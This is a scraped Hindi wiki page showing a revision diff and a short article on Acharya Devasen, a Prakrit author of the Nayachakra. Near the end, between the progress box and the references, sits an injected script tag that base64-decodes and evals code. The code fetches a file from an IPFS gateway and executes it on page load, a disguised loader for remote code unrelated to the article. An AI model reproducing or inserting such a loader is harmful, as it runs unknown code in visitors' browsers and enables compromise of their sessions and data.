एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "३"।

"देवसेन" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति")
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
पंक्ति 14: पंक्ति 14:
 
}}
 
}}
  
 +
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>

08:04, 21 मार्च 2011 का अवतरण

आचार्य देवसेन

  • आचार्य देवसेन ने प्राकृत में नयचक्र लिखा है।
  • संभव है इसी का उल्लेख आचार्य विद्यानन्द ने अपने तत्त्वार्थश्लोकवार्तिक[1] में किया हो और उससे ही नयों को विशेष जानने की सूचना की हो।
  • इनका अस्तित्व समय वि0 सं0 9वीं शती माना जाता है।
  • यह नय-मर्मज्ञ मनीषी थे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


टीका टिप्पणी और संदर्भ

  1. तत्त्वार्थश्लोकवार्तिक,पृ0 276

संबंधित लेख